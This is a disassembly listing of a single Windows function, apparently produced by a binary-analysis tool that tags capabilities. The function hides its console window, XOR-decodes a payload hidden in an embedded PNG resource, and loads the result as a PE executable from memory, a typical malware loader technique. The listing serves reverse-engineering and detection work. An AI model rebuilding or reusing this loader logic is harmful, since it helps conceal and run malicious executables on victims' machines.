Function at 0x401940
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x58
call fcn.00401fe0
mov dword [esp + 0x54], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
lea ecx, str.IDB_PNG
lea eax, [esp + 0x50]
mov dword [esp], 0x30a
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004017b0
mov dword [esp + 0x4c], eax
lea eax, str.not_a_fucking_your_buisness._Get_the_hell_out_Here1
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], 1
mov eax, dword [esp + 0x50]
mov ecx, 6
xor edx, edx
div ecx
mov dword [esp], eax
call fcn.00401c80
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0xa
mov eax, eax
mov dword [esp + 0x34], 0
mov eax, dword [esp + 0x34]
cmp eax, dword [esp + 0x50]
jae 0x401b53
nop
mov eax, dword [esp + 0x34]
mov dword [esp + 0x20], eax
mov ecx, 0x2aaaaaab
imul ecx
mov eax, dword [esp + 0x20]
mov ecx, edx
mov edx, ecx
shr edx, 0x1f
add ecx, edx
add ecx, ecx
lea ecx, [ecx + ecx*2]
sub eax, ecx
mov dword [esp + 0x24], eax
sub eax, 0x2c
ja case.0x401a23.3
mov eax, dword [esp + 0x24]
mov eax, dword [eax*4 + 0x42d048]
jmp eax
mov eax, dword [esp + 0x34]
mov ecx, 6
cdq
idiv ecx
cmp eax, 0x64
jge 0x401a5e
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x34]
movzx eax, byte [eax + ecx]
mov ecx, dword [esp + 0x48]
movsx ecx, byte [ecx + 4]
xor eax, ecx
lea ecx, str._02X
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402630
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x34]
movzx eax, byte [eax + ecx]
mov ecx, dword [esp + 0x48]
movsx ecx, byte [ecx + 4]
xor eax, ecx
mov byte [esp + 0x1b], al
mov eax, dword [esp + 0x40]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
mov ecx, 6
cdq
idiv ecx
mov dl, byte [esp + 0x1b]
mov ecx, eax
mov eax, dword [esp + 0x1c]
mov byte [eax + ecx], dl
jmp 0x401b41
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x34]
movzx eax, byte [eax + ecx]
cmp eax, 0x66
je 0x401ab4
jmp 0x401b41
jmp 0x401b41
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x34]
movzx eax, byte [eax + ecx]
mov dword [esp], eax
call fcn.00401ba0
fstp qword [esp + 0x28]
movsd xmm0, qword [esp + 0x28]
cvttsd2si eax, xmm0
mov dword [esp + 0x30], eax
jmp 0x401b41
jmp 0x401b41
mov eax, dword [esp + 0x34]
mov ecx, 6
cdq
idiv ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x50]
mov ecx, 6
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esp + 0x14]
cmp eax, ecx
je 0x401b3f
call sub.msvcrt.dll_rand
mov ecx, 0xff
cdq
idiv ecx
mov al, dl
mov byte [esp + 0xf], al
mov eax, dword [esp + 0x40]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
mov ecx, 6
cdq
idiv ecx
mov dl, byte [esp + 0xf]
mov ecx, eax
mov eax, dword [esp + 0x10]
mov byte [eax + ecx + 1], dl
jmp 0x401b41
jmp 0x401b43
mov eax, dword [esp + 0x34]
add eax, 1
mov dword [esp + 0x34], eax
jmp 0x4019d9
nop
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call fcn.004015b0
cmp eax, 0
jne 0x401b7d
lea eax, str.Error:_loading_PE_from_memory._n
mov dword [esp], eax
call fcn.00402630
mov dword [esp + 0x54], 1
jmp 0x401b93
lea eax, str.PE_____n
mov dword [esp], eax
call fcn.00402630
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x54]
mov esp, ebp
pop ebp
ret